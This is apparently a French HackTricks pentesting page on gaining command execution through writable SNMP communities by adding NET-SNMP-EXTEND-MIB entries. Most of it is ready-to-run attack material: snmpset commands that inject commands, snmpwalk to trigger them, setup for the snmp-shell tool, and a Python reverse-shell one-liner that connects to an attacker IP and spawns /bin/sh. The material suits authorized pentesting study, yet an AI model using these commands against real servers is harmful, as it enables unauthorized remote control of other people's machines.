hacktricks/network-services-pentesting/pentesting-snmp/snmp-rce.md
2023-06-03 13:10:46 +00:00

6.8 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Ce post a été copié depuis https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/

SNMP est parfois négligé par l'administrateur de l'appareil ou du serveur où il est laissé dans une configuration par défaut. La communauté SNMP avec des permissions d'écriture (rwcommunity) sur le système d'exploitation Linux peut être utilisée de manière abusive pour permettre à l'attaquant d'exécuter une commande sur le serveur.

Extension des services

Bien que vous ne puissiez pas modifier les entrées existantes qui ont été configurées dans snmpd.conf, il est possible d'ajouter des commandes supplémentaires via SNMP, car le paramètre de permission "MAX-ACCESS" dans la définition MIB est défini sur "read-create".

L'ajout d'une nouvelle commande fonctionne essentiellement en ajoutant une ligne supplémentaire à la table "nsExtendObjects".

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Injecter une commande à exécuter sur le service SNMP. NET-SNMP-EXTEND-MIB exige que vous fournissiez toujours le chemin absolu vers l'exécutable. Le binaire/script appelé doit également exister et être exécutable.

Exécuter la commande que nous avons injectée dans le SNMP en l'énumérant à l'aide de snmpwalk.

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Affichage de la commande /bin/echo.

La commande sera exécutée lorsqu'elle sera lue. run-on-read()

La commande /bin/echo "hello rio is here" a été exécutée pendant notre lecture snmpwalk

Obtention du Shell à partir de Net-SNMP Extend

Dans cette section, je voudrais discuter de la façon d'obtenir un shell de serveur pour contrôler le serveur.

Vous pouvez utiliser un script python développé par mxrch qui peut être téléchargé depuis https://github.com/mxrch/snmp-shell.git

Vous pouvez installer le prérequis pour exécuter ceci:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Création d'un shell inversé

Vous pouvez également créer manuellement un shell inversé en injectant la commande ci-dessous dans le SNMP.

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Exécutez la commande snmpwalk pour déclencher l'exécution de la commande.

Notre netcat reçoit la connexion de shell inversé de la victime qui nous permet de prendre le contrôle de la machine victime.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥